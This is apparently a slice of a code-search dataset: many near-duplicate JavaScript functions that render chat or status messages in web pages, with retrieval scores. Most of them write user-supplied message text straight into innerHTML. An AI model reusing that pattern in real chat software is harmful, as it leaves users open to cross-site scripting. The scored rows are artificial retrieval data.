    \";\n var element = $(consoleMessage);\n addToArrayStorage('wellData', consoleMessage)\n $('#console').append(element);\n }","function printClientInput(msg){\r\n\r\nvar messagelogtxt = document.getElementById('messagelog');\r\n\r\nmessagelogtxt.innerHTML += 'Client : ' + msg + '\\n';\r\nconsole.log(msg);\r\n}","printMessage(input, msg) {\n //Quantidade de erros\n let errorsQty = input.parentNode.querySelector('.error-validation')\n if(errorsQty === null) {\n let template = document.querySelector('.error-validation').cloneNode(true)\n template.textContent = msg\n let inputParent = input.parentNode\n template.classList.remove('template')\n inputParent.appendChild(template)\n }\n }","function t_print(message) {\r\n t_printRaw(\"
    \" + message + \"
    \");\r\n}","function print(infoMessage, asHtml) {\n var $msg = $('
    ');\n if (asHtml) {\n $msg.html(infoMessage);\n } else {\n $msg.text(infoMessage);\n }\n $chatWindow.append($msg);\n }","function print(infoMessage, asHtml) {\n var $msg = $('
    ');\n if (asHtml) {\n\n $msg.html(infoMessage);\n\n } else {\n\n $msg.text(infoMessage);\n\n }\n $chatWindow.append($msg);\n }","function setMessage(msg) {\n document.getElementById(\"message\").innerText = msg;\n}","function outputMessage(message) {\n const div = document.createElement('div')\n div.classList.add('message')\n if (message.username === username) {\n div.innerHTML = `
  • \n ${message.username}\n

    ${message.text} ${message.time}

    \n
  • `\n document.querySelector('.chat-messages').appendChild(div)\n } else {\n div.innerHTML = `
  • \n ${message.username}\n

    ${message.text} ${message.time}

    \n
  • `\n document.querySelector('.chat-messages').appendChild(div)\n }\n}","function print(infoMessage, asHtml) {\n var $msg = $('
    ');\n if (asHtml) {\n $msg.html(infoMessage);\n } else {\n $msg.text(infoMessage);\n }\n $chatWindow.append($msg);\n\n }"],"string":"[\n \"function outputMesssage(message) {\\n const div = document.createElement('div');\\n div.innerHTML = `${message}`;\\n document.querySelector('.messages').appendChild(div);\\n}\",\n \"function output(message) {\\n const para = document.createElement('p');\\n para.innerHTML = message;\\n outputDiv.appendChild(para);\\n}\",\n \"function print(message) {\\n\\t var outputDiv = document.getElementById(\\\"output\\\").innerHTML = message;\\n\\t}\",\n \"function message(msg){\\n\\tdocument.getElementById('output').innerHTML = msg + \\\" event\\\"\\n}\",\n \"function outputMessage(message) {\\n //Creates div\\n const div = document.createElement(\\\"div\\\");\\n // adds div to classList\\n div.classList.add(\\\"message\\\");\\n //Formatting message\\n div.innerHTML =\\n `
    \\n ${message.username} today at: ${message.time}\\n
    \\n ${message.text}\\n
    \\n
    `\\n document.getElementById(\\\"c-messages\\\").appendChild(div)\\n}\",\n \"logOutput (msg) {\\n this.DOMNodes.runMessage.className = \\\"hidden\\\";\\n let node = document.createElement(\\\"div\\\");\\n node.innerHTML = msg;\\n this.DOMNodes.log.appendChild(node);\\n }\",\n \"function message(msg){\\n document.getElementById('message').innerHTML = msg;\\n }\",\n \"function outputMessage(message) {\\r\\n //Manipulaciond el DOM\\r\\n const div = document.createElement(\\\"div\\\");\\r\\n div.classList.add(\\\"message\\\");\\r\\n div.innerHTML = `

    ${message.username}${message.time}

    \\r\\n

    \\r\\n ${message.text}\\r\\n

    `;\\r\\n document.querySelector(\\\".chat-messages\\\").appendChild(div);\\r\\n}\",\n \"function print(message) {\\n\\t var outputDiv = document.getElementById('output');\\n\\t outputDiv.innerHTML = message;\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement('div');\\n div.classList.add('messages');\\n div.innerHTML= `

    \\n ${message} \\n

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function writeMessage(message) {\\r\\n\\tvar li = document.createElement(\\\"li\\\");\\r\\n\\r\\n\\tsetElementText(li, message);\\r\\n\\r\\n\\r\\n output.appendChild(li);\\r\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message'); // message comes from
    in chat.html\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `\\n document.querySelector('.chat-messages').appendChild(div) // should add a new div to the chat.html when we csubmit a new message\\n}\",\n \"function _print(message) {\\n if (_output) {\\n _output.innerHTML += message + \\\"
    \\\";\\n }\\n }\",\n \"function writeMessage(message) {\\n var li = document.createElement(\\\"li\\\");\\n\\n setElementText(li, message);\\n output.appendChild(li);\\n}\",\n \"function outputMessage(msg) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${msg.username} ${msg.time}

    \\n

    ${msg.text}

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message){\\n\\nconst div=document.createElement('div');\\ndiv.classList.add('message');\\ndiv.innerHTML=`

    ${message.username}${message.time}

    \\n

    \\n${message.text}\\n\\n

    `\\n\\ndocument.querySelector('.chat-messages').appendChild(div)\\n}\",\n \"function print(message) {\\n var outputDiv = document.getElementById('quiz-output'); // node\\n outputDiv.innerHTML = message; // similar to document.write\\n $( '#quiz-output' ).removeClass( 'hidden' );\\n // $( '#output' ).toggleClass( \\\"hidden\\\", addOrRemove );\\n }\",\n \"function outputMessage(msg) {\\n const div = document.createElement('div');\\n\\n div.classList.add('message');\\n div.innerHTML = `

    ${msg.username} ${msg.time}

    \\n

    ${msg.text}

    `;\\n chatMessages.appendChild(div);\\n}\",\n \"function writeToPage(msg) {\\n results.innerHTML = msg;\\n}\",\n \"function output(message) {\\n document.getElementById(\\\"output\\\").innerHTML += message + \\\"
    \\\";\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}\\n
    \\n ${message.text}\\n

    `;\\n\\n document.querySelector('.chat-messages').appendChild(div);\\n\\n}\",\n \"function outputMessage(message) {\\n\\tconst div = document.createElement(\\\"div\\\");\\n\\tdiv.classList.add(\\\"message\\\");\\n\\tdiv.innerHTML = `

    ${message.username} ${message.time}\\n\\t

    ${message.text}

    `;\\n\\tdocument.querySelector(\\\".chat-messages\\\").appendChild(div);\\n}\",\n \"function userMessage(message) {\\n output(message);\\n try {\\n document.getElementById('user_message').innerText = message;\\n }\\n catch (error) {}\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(msg) {\\n const div = document.createElement(\\\"div\\\");\\n div.classList.add(\\\"message\\\");\\n div.innerHTML = `

    ${msg.username} ${msg.time}

    \\n

    ${msg.text}

    `;\\n document.querySelector(\\\".chat-messages\\\").appendChild(div);\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement(\\\"div\\\");\\n div.classList.add(\\\"message\\\");\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `; \\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message){\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n document.querySelector('.chat-messages').appendChild (div);\\n\\n}\",\n \"function outputMessage(message){\\n const div= document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n //here we select the chat-messages\\n document.querySelector('.chat-messages').appendChild(div); // 9\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement(\\\"div\\\");\\n div.classList.add(\\\"message\\\");\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.message}\\n

    `;\\n document.querySelector(\\\".chat-messages\\\").appendChild(div);\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username}${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n document.querySelector('.divscroll').appendChild(div);\\n }\",\n \"function print(message) {\\r\\n var outputDiv = document.getElementById(\\\"output\\\");\\r\\n outputDiv.innerHTML = message;\\r\\n}\",\n \"function print(message){\\n var outputDiv = document.getElementById('output');\\n outputDiv.innerHTML = message;\\n}\",\n \"function print(message) {\\n var outputDiv = document.getElementById('output');\\n outputDiv.innerHTML = message;\\n}\",\n \"function printToPage(msg) {\\n\\t\\tif(document.getElementById(\\\"message\\\") != null){\\n\\t\\t\\tdocument.getElementById(\\\"message\\\").innerHTML = msg;\\n\\t\\t}\\n\\t\\telse{\\n\\t\\tvar message = \\\"

    \\\" + msg + \\\"<\\\\p>\\\";\\n\\t\\t$(\\\"#result\\\").append(message);\\n\\t\\t}\\n\\t}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    ${message.text}

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function print(message) {\\n var outputDiv = document.getElementById('output');\\n outputDiv.innerHTML = message;\\n}\",\n \"function print(message) {\\n var outputDiv = document.getElementById('output');\\n outputDiv.innerHTML = message;\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = `

    ${message.username} ${message.time}

    \\n

    \\n ${message.text}\\n

    `;\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement(\\\"div\\\");\\n div.innerHTML = `
    \\n
    \\\"sunil\\\"\\n
    \\n
    \\n
    \\n

    ${message.text}

    \\n \\n ${message.username} at ${message.time}\\n
    \\n
    \\n
    \\n `;\\n document.querySelector(\\\".chat-messages\\\").appendChild(div);\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = '

    '+ message.username + '' + message.time +''+\\n '

    ' + message.text + '

    '\\n document.querySelector(\\\".chat-messages\\\").appendChild(div)\\n}\",\n \"function writeMsg(msg){\\n msgEl.innerHTML = `\\n
    You Said:
    \\n ${msg}\\n `\\n}\",\n \"setMessage(msg) \\n {\\n document.getElementById('message').innerHTML = msg;\\n }\",\n \"function outputMessage(payload) {\\n const div = document.createElement('div');\\n const p = document.createElement('p');\\n p.innerText = payload.text;\\n let time = moment(payload.unixTime).format('MMMM Do YYYY, h:mm a');\\n p.innerHTML += ` ${time}`;\\n div.appendChild(p);\\n chatForm.appendChild(div);\\n}\",\n \"function printhtml(dom,msg)\\r\\n{\\r\\n\\t$(dom).html(msg);\\r\\n\\t$(dom).removeClass('hide');\\r\\n}\",\n \"function tell(msg) {\\n $(\\\".output\\\").val(msg);\\n }\",\n \"function outputMessage(message) {\\r\\n const div = document.createElement('div');\\r\\n div.classList.add('message');\\r\\n\\r\\n const p = document.createElement('p');\\r\\n p.classList.add('meta');\\r\\n p.innerText = message.username;\\r\\n if(message.username == 'server'){\\r\\n p.innerText += ' | ';\\r\\n p.style.color = 'red';\\r\\n }else{\\r\\n p.innerText += ' @ ';\\r\\n }\\r\\n p.innerHTML += `${message.time}`;\\r\\n div.appendChild(p);\\r\\n\\r\\n const para = document.createElement('p');\\r\\n para.classList.add('text');\\r\\n para.innerText = message.text;\\r\\n if(message.username == 'server'){\\r\\n para.style.color = 'red';\\r\\n para.style.fontFamily = 'Courier New';\\r\\n }\\r\\n div.appendChild(para);\\r\\n\\r\\n document.querySelector('.chat-messages').appendChild(div);\\r\\n}\",\n \"function render_msg(msg) {\\r\\n ///This function gets a msg in the form\\r\\n /// author:\\r\\n /// msg:\\r\\n // var divEl = xo.getDom('');\\r\\n // var el = xo.DomHelper.createDom({\\r\\n // \\\"tag\\\": \\\"div\\\",\\r\\n // \\\"class\\\": \\\"message\\\",\\r\\n // \\\"html\\\": \\\"User \\\" + msg.author + \\\": \\\" + msg.data\\r\\n // }, divEl);\\r\\n // \\r\\n }\",\n \"function tell(msg) {\\n $(\\\".output\\\").val(msg);\\n }\",\n \"function display(message){\\n\\tdataElement.innerHTML = dataElement.innerHTML+'
    '+message;\\n}\",\n \"function print ( message ) {\\r\\n viewDiv.innerHTML = message;\\r\\n}\",\n \"function outputMessage(message){\\n //each emssage has a div\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = '

    '+\\n message.username + ' '+\\n message.time +'

    '+\\n message.text +\\n '

    ';\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement(\\\"div\\\");\\n div.classList.add(\\\"message\\\");\\n const p = document.createElement(\\\"p\\\");\\n p.classList.add(\\\"meta\\\");\\n p.innerText = `${message.playername} `;\\n p.innerHTML += `${message.time}`;\\n div.appendChild(p);\\n const para = document.createElement(\\\"p\\\");\\n para.classList.add(\\\"text\\\");\\n para.innerText = message.text;\\n div.appendChild(para);\\n chatMessages.appendChild(div);\\n}\",\n \"function postMessage(message) {\\n const newMessage = document.createElement('p');\\n newMessage.textContent = message;\\n\\n messageOutput.appendChild(newMessage);\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement(\\\"div\\\");\\n message.username === \\\"You\\\"\\n ? div.setAttribute(\\\"class\\\", \\\"ui positive message\\\")\\n : div.setAttribute(\\\"class\\\", \\\"ui info message\\\");\\n const p = document.createElement(\\\"p\\\");\\n message.username === \\\"You\\\"\\n ? p.setAttribute(\\\"class\\\", \\\"ui red horizontal label\\\")\\n : p.setAttribute(\\\"class\\\", \\\"ui blue horizontal label\\\");\\n p.innerText = message.username;\\n p.innerHTML += ` at ${message.time}`;\\n div.appendChild(p);\\n const para = document.createElement(\\\"p\\\");\\n para.classList.add(\\\"text\\\");\\n para.innerHTML = message.content;\\n div.appendChild(para);\\n document.querySelector(\\\".chat-messages\\\").appendChild(div);\\n}\",\n \"function _addOutput(msg) {\\r\\n var output = document.getElementById('outputArea');\\r\\n output.value += msg + \\\"\\\\n\\\";\\r\\n\\r\\n // Move cursor to the end of the output area.\\r\\n output.scrollTop = output.scrollHeight;\\r\\n }\",\n \"function renderMessage(text) {\\n document.getElementById('res').innerHTML = text;\\n}\",\n \"function showHtmlMsg() {\\r\\n msg.innerText = ''\\r\\n disableButton()\\r\\n message.style.display = 'none'\\r\\n innerMsg.style.display = 'block'\\r\\n // var htmlmsg = document.createElement('p')\\r\\n msg.innerText = \\\"HTML stands for Hyper Text Markup Language. HTML describes the structure of a Web page.\\\"\\r\\n innerMsg.appendChild(msg)\\r\\n innerMsg.appendChild(hr)\\r\\n}\",\n \"function displayMessage(message) {\\n document.querySelector('.message').textContent = message;\\n}\",\n \"function outputMessage(message) {\\n\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.innerHTML = \\n `\\n
    \\n
    \\n \\n
    \\n
    \\n
    \\n ${message.username} - ${message.text}\\n ${message.time}\\n
    \\n
    \\n
    \\n `;\\n\\n document.querySelector('.chat-messages').appendChild(div);\\n\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n const p = document.createElement('p');\\n p.classList.add('meta');\\n p.innerText = message.username;\\n p.innerHTML += `${message.time}`;\\n div.appendChild(p);\\n const para = document.createElement('p');\\n para.classList.add('text');\\n para.innerText = message.text;\\n div.appendChild(para);\\n document.querySelector('.chat-messages').appendChild(div);\\n}\",\n \"function Message(msg){\\r\\n const mes_ele = document.createElement('div');\\r\\n mes_ele.innerText = msg;\\r\\n mes.append(mes_ele);\\r\\n }\",\n \"function outputMessage(message) {\\n const div = document.createElement('div')\\n div.classList.add('alert','alert-dark','my-2','ml-2','mr-5')\\n div.innerHTML = `
    \\n
    ${message.username} at ${message.time}
    \\n
    \\n

    ${message.text}

    `\\n\\n document.getElementById('chat-messages').appendChild(div);\\n}\",\n \"function message(message){\\n let results = document.querySelector(\\\".results\\\");\\n let p = document.createElement(\\\"p\\\");\\n p.innerHTML = message;\\n results.innerHTML = \\\"\\\";\\n results.appendChild(p);\\n }\",\n \"function writeP2(message_2) {\\r\\n document.getElementById('message_2').innerHTML += message_2 + '
    ';\\r\\n}\",\n \"function appendOutputDiv(message) {\\n var pre = document.getElementById('output');\\n var textContent = document.createTextNode(message + '\\\\n');\\n if(DEBUG) {\\n pre.appendChild(textContent);\\n } else {\\n pre.textContent = message + \\\"\\\\n\\\";\\n }\\n}\",\n \"function outputMessage(message) {\\n const li = document.createElement('li');\\n li.textContent = message;\\n li.classList.add('message');\\n document.getElementById('chat-field').appendChild(li);\\n}\",\n \"function display(message) {\\n document.querySelector('.message').textContent = message;\\n}\",\n \"function writeMsg(txt) {\\n document.getElementById('gameMsg').innerHTML = txt;\\n showGameMsg();\\n}\",\n \"function output(message) {\\n browser.runtime.sendMessage({ action: 'output', message });\\n}\",\n \"function ilm_display(msg) {\\r\\n\\tdocument.querySelector('#ilm_container .ilm_msg').textContent = msg;\\r\\n}\",\n \"function displayMessage() {\\n mainEl.textContent = message;\\n}\",\n \"function outputOwnMessage(message) {\\n const div = document.createElement('div')\\n div.classList.add('alert','alert-success','my-2','mr-2','ml-5')\\n div.innerHTML = `
    \\n
    ${message.username} at ${message.time}
    \\n
    \\n

    ${message.text}

    `\\n\\n document.getElementById('chat-messages').appendChild(div);\\n}\",\n \"function print(out){\\n msg = document.createElement(\\\"p\\\");\\n msg.textContent = out.toString();\\n output.appendChild(msg);\\n}\",\n \"renderMessage_() {\\n const messsageEl = create(\\\"div\\\", {\\n classname: cssClass.MESSAGE_WRAPPER,\\n copy: copy.NO_SUBSCRIPTIONS,\\n });\\n\\n this.appendChild(messsageEl);\\n }\",\n \"function displayOutputMessage(text) {\\n const outputElem = goog.dom.getElement('output');\\n outputElem.innerHTML = outputElem.innerHTML + text + '\\\\n';\\n}\",\n \"function setMessage(msg) {\\n\\n\\tdocument.getElementById(\\\"message\\\").innerHTML = msg;\\n}\",\n \"function ShowMessage(msg) {\\n\\tdocument.getElementById(\\\"message\\\").innerHTML += \\\"

    \\\"+msg+\\\"

    \\\";\\n}\",\n \"function setMessage (msg){\\n document.getElementById(\\\"message\\\").innerHTML=msg;\\n}\",\n \"function displayMessage(type,message)\\n{\\n messageEL.text(message);\\n messageEL.attr(\\\"class\\\",type);\\n\\n}\",\n \"function outputStatus(message) {\\n const div = document.createElement('div')\\n div.classList.add('message')\\n div.innerHTML = `
  • \\n

    ${message.text}

    \\n

    ${message.time}

    \\n
  • `\\n document.querySelector('.chat-messages').appendChild(div)\\n}\",\n \"function addOutput(msg) {\\n var output = document.getElementById('script_output');\\n output.value += msg + \\\"\\\\n\\\";\\n\\n // Move cursor to the end of the output area.\\n output.scrollTop = output.scrollHeight;\\n }\",\n \"function setMessage(msg) {\\n\\t\\tdocument.getElementById(\\\"message\\\").innerText = msg;\\n\\t}\",\n \"function OutputLine(msg) {\\n $(\\\"output\\\").value += msg + \\\"\\\\n\\\";\\n}\",\n \"function outputMessage(message,position) {\\n const div = document.createElement('div');\\n div.classList.add('message');\\n div.classList.add(position);\\n const p = document.createElement('p');\\n p.classList.add('time');\\n p.innerText = message.time;\\n div.appendChild(p);\\n \\n const para = document.createElement('p');\\n para.classList.add('text');\\n if(message.username == 'ChatWid')\\n para.innerHTML = `${message.text}`;\\n else\\n para.innerHTML = `${message.username}: ${message.text}`;\\n div.appendChild(para);\\n\\n document.querySelector('.chat_messages').appendChild(div);\\n}\",\n \"function displayMessage(message){\\n document.getElementById('ui').innerHTML = message;\\n}\",\n \"displayMessage(message) {\\n this.messageContainerEl.innerHTML = `
    ${message}
    `;\\n this.messageContainerEl.classList.add('visible');\\n }\",\n \"function setMessage(msg){\\n document.getElementById(\\\"message\\\").innerHTML = msg;\\n}\",\n \"function setMessage(str) {\\n\\tdocument.getElementById(\\\"Messages\\\").innerHTML = \\\"

    \\\" + str + \\\"

    \\\";\\n}\",\n \"function output(message) {\\n var consoleMessage = \\\"
    \\\" + Date.now() + \\\" \\\" + message + \\\"
    \\\";\\n var element = $(consoleMessage);\\n addToArrayStorage('wellData', consoleMessage)\\n $('#console').append(element);\\n }\",\n \"function printClientInput(msg){\\r\\n\\r\\nvar messagelogtxt = document.getElementById('messagelog');\\r\\n\\r\\nmessagelogtxt.innerHTML += 'Client : ' + msg + '\\\\n';\\r\\nconsole.log(msg);\\r\\n}\",\n \"printMessage(input, msg) {\\n //Quantidade de erros\\n let errorsQty = input.parentNode.querySelector('.error-validation')\\n if(errorsQty === null) {\\n let template = document.querySelector('.error-validation').cloneNode(true)\\n template.textContent = msg\\n let inputParent = input.parentNode\\n template.classList.remove('template')\\n inputParent.appendChild(template)\\n }\\n }\",\n \"function t_print(message) {\\r\\n t_printRaw(\\\"
    \\\" + message + \\\"
    \\\");\\r\\n}\",\n \"function print(infoMessage, asHtml) {\\n var $msg = $('
    ');\\n if (asHtml) {\\n $msg.html(infoMessage);\\n } else {\\n $msg.text(infoMessage);\\n }\\n $chatWindow.append($msg);\\n }\",\n \"function print(infoMessage, asHtml) {\\n var $msg = $('
    ');\\n if (asHtml) {\\n\\n $msg.html(infoMessage);\\n\\n } else {\\n\\n $msg.text(infoMessage);\\n\\n }\\n $chatWindow.append($msg);\\n }\",\n \"function setMessage(msg) {\\n document.getElementById(\\\"message\\\").innerText = msg;\\n}\",\n \"function outputMessage(message) {\\n const div = document.createElement('div')\\n div.classList.add('message')\\n if (message.username === username) {\\n div.innerHTML = `
  • \\n ${message.username}\\n

    ${message.text} ${message.time}

    \\n
  • `\\n document.querySelector('.chat-messages').appendChild(div)\\n } else {\\n div.innerHTML = `
  • \\n ${message.username}\\n

    ${message.text} ${message.time}

    \\n
  • `\\n document.querySelector('.chat-messages').appendChild(div)\\n }\\n}\",\n \"function print(infoMessage, asHtml) {\\n var $msg = $('
    ');\\n if (asHtml) {\\n $msg.html(infoMessage);\\n } else {\\n $msg.text(infoMessage);\\n }\\n $chatWindow.append($msg);\\n\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.7349049","0.7335071","0.71537566","0.70986444","0.7090382","0.7079102","0.7029552","0.70211124","0.6986701","0.6970532","0.6938852","0.6931121","0.68999714","0.68598974","0.68533146","0.68473786","0.68436587","0.68171614","0.68057007","0.6804204","0.67987967","0.6793894","0.67919785","0.67907906","0.67887115","0.6781171","0.67730784","0.67640454","0.675726","0.67515326","0.67512375","0.6715463","0.6713512","0.67076945","0.670067","0.6700665","0.6698528","0.6696692","0.66930187","0.66930187","0.66858774","0.6681792","0.6681009","0.6671216","0.6669642","0.6663156","0.6657877","0.6647146","0.6646911","0.6634889","0.6625496","0.6616759","0.660278","0.6598213","0.6595484","0.6590413","0.65831685","0.65612155","0.6550998","0.65505075","0.6534918","0.65265894","0.6525591","0.65245265","0.6521987","0.6516475","0.65106046","0.6499613","0.6481182","0.64683753","0.6453471","0.64522797","0.6435572","0.6424349","0.6418317","0.6400467","0.63942975","0.6390499","0.6389481","0.6383705","0.63812476","0.635399","0.6342505","0.63389593","0.6335228","0.63258433","0.6325411","0.6318565","0.63085943","0.6303471","0.62923104","0.62918985","0.6287476","0.628464","0.6277287","0.6277256","0.62721664","0.62420946","0.62280613","0.6215863"],"string":"[\n \"0.7349049\",\n \"0.7335071\",\n \"0.71537566\",\n \"0.70986444\",\n \"0.7090382\",\n \"0.7079102\",\n \"0.7029552\",\n \"0.70211124\",\n \"0.6986701\",\n \"0.6970532\",\n \"0.6938852\",\n \"0.6931121\",\n \"0.68999714\",\n \"0.68598974\",\n \"0.68533146\",\n \"0.68473786\",\n \"0.68436587\",\n \"0.68171614\",\n \"0.68057007\",\n \"0.6804204\",\n \"0.67987967\",\n \"0.6793894\",\n \"0.67919785\",\n \"0.67907906\",\n \"0.67887115\",\n \"0.6781171\",\n \"0.67730784\",\n \"0.67640454\",\n \"0.675726\",\n \"0.67515326\",\n \"0.67512375\",\n \"0.6715463\",\n \"0.6713512\",\n \"0.67076945\",\n \"0.670067\",\n \"0.6700665\",\n \"0.6698528\",\n \"0.6696692\",\n \"0.66930187\",\n \"0.66930187\",\n \"0.66858774\",\n \"0.6681792\",\n \"0.6681009\",\n \"0.6671216\",\n \"0.6669642\",\n \"0.6663156\",\n \"0.6657877\",\n \"0.6647146\",\n \"0.6646911\",\n \"0.6634889\",\n \"0.6625496\",\n \"0.6616759\",\n \"0.660278\",\n \"0.6598213\",\n \"0.6595484\",\n \"0.6590413\",\n \"0.65831685\",\n \"0.65612155\",\n \"0.6550998\",\n \"0.65505075\",\n \"0.6534918\",\n \"0.65265894\",\n \"0.6525591\",\n \"0.65245265\",\n \"0.6521987\",\n \"0.6516475\",\n \"0.65106046\",\n \"0.6499613\",\n \"0.6481182\",\n \"0.64683753\",\n \"0.6453471\",\n \"0.64522797\",\n \"0.6435572\",\n \"0.6424349\",\n \"0.6418317\",\n \"0.6400467\",\n \"0.63942975\",\n \"0.6390499\",\n \"0.6389481\",\n \"0.6383705\",\n \"0.63812476\",\n \"0.635399\",\n \"0.6342505\",\n \"0.63389593\",\n \"0.6335228\",\n \"0.63258433\",\n \"0.6325411\",\n \"0.6318565\",\n \"0.63085943\",\n \"0.6303471\",\n \"0.62923104\",\n \"0.62918985\",\n \"0.6287476\",\n \"0.628464\",\n \"0.6277287\",\n \"0.6277256\",\n \"0.62721664\",\n \"0.62420946\",\n \"0.62280613\",\n \"0.6215863\"\n]"},"document_score":{"kind":"string","value":"0.68937236"},"document_rank":{"kind":"string","value":"13"}}},{"rowIdx":43,"cells":{"query":{"kind":"string","value":"Prompt the user before leave chat room"},"document":{"kind":"string","value":"function leaveRoom() {\n const leaveRoom = confirm('Are you sure you want to leave the chatroom?');\n if (leaveRoom) {\n window.location = '../index.html';\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function leaveRoom() {\n let chatLink = server + '/chat/' + roomId;\n Swal.fire({ background: background, position: \"top\", title: \"Leave this room?\",\n html: `

    If you want to continue to chat,
    go to the main page and
    click on chat of this room

    `,\n showDenyButton: true, confirmButtonText: `Yes`, confirmButtonColor: 'black', denyButtonText: `No`, denyButtonColor: 'grey',\n }).then((result) => { if (result.isConfirmed) window.location.href = \"/main\"; });\n}","function leaveUserRoom() {\r\n divHome.show();\r\n divRoom.hide();\r\n allMessageNb = 0;\r\n socket.emit(\"leaveRoom\", currentRoom);\r\n}","function leaveRoom(channel) {\n socket.emit(\"leave\", {\"channel\": channel, \"username\": username})\n document.getElementById(\"messages\").innerHTML = \"\"\n }","function leaveRoom() {\n socketRef.current.emit(\"user clicked leave meeting\", socketRef.current.id);\n props.history.push(\"/\");\n }","function commandLeave(msg) {\n if (!canManageGuild(msg.member)) return;\n\n let guild = msg.guild.id.toString();\n let vc = client.voiceConnections.get(guild);\n if (!vc) {\n return msg.channel.sendMessage('Bot is not in a channel!');\n } else {\n vc.leaveSharedStream();\n vc.disconnect();\n writeGuildConfig(guild, { vc: null });\n\n return msg.channel.sendMessage(';_; o-okay...');\n }\n}","function leaveroom(room) {\n document.querySelector('.chat').innerHTML = '';\n socket.emit('leave', { \"user\": user, \"room\": curr_room })\n}","function leaveChat(){\n\tplayTitleFlag = false;\n\txmlHttp3 = GetXmlHttpObject();\n\n\tif (xmlHttp3 == null){\n\t\talert(\"Browser does not support HTTP Request\");\n\t\treturn;\n\t}\n\n\tvar url = base_url+\"keluarChat/\" + userId;\n\txmlHttp3.open(\"POST\", url, true);\n\txmlHttp3.onreadystatechange = stateChanged3;\n\txmlHttp3.send(null);\n}","function leaveRoom()\n {\n // Leave room\n $(this).removeClass(\"joined\");\n socket.send(JSON.stringify({\n \"command\": \"leave\", // determines which handler will be used (see chat/routing.py)\n \"room\": room_id\n }));\n }","function leaveRoom() {\n Swal.fire({ background: background, position: \"top\", title: \"Leave this room?\",\n showDenyButton: true, confirmButtonText: `Yes`, confirmButtonColor: 'black', denyButtonText: `No`, denyButtonColor: 'grey',\n }).then((result) => { if (result.isConfirmed) window.location.href = \"/main\"; });\n}","function leaveRoom() {\n // Call the server to leave the room\n socketInstance.delete('/room/' + roomId + '/onlineUsers', { id: myChatId });\n\n }","function LeaveRoom(room, username) {\n socket.leave(room);\n socket.broadcast.to(room).emit('ModRoomChangeReceive', { username: username, active: false });\n }","function handleExit() {\r\n\tif (confirm('Are you sure you want to leave the game?')) {\r\n\t\tsocket.emit('toLeave');\r\n\t\tlocation.reload();\r\n\t}\r\n}","async leaveGroupChat(parent, args, ctx, info) {\n // check login\n if (!ctx.request.userId) {\n throw new Error('You must be logged in to do that!');\n }\n // check that the user is the member of the group chat\n const where = { id: args.id };\n const chat = await ctx.db.query.talk({ where }, `{ members {id} }`);\n const isChatMember = chat.members\n .map(member => member.id)\n .includes(ctx.request.userId);\n if (!isChatMember) {\n throw new Error(`You are not a member of the chat!`);\n }\n\n // disconnect the current user\n return ctx.db.mutation.updateTalk(\n {\n data: {\n members: {\n disconnect: { id: ctx.request.userId },\n },\n },\n where: {\n id: args.id,\n },\n },\n info\n );\n }","function C012_AfterClass_Amanda_EndChat() {\n\tif (ActorGetValue(ActorPose) == \"Kneel\") ActorSetPose(\"Shy\");\n\tLeaveIcon = \"Leave\";\n}","function leaveRoom() {\n 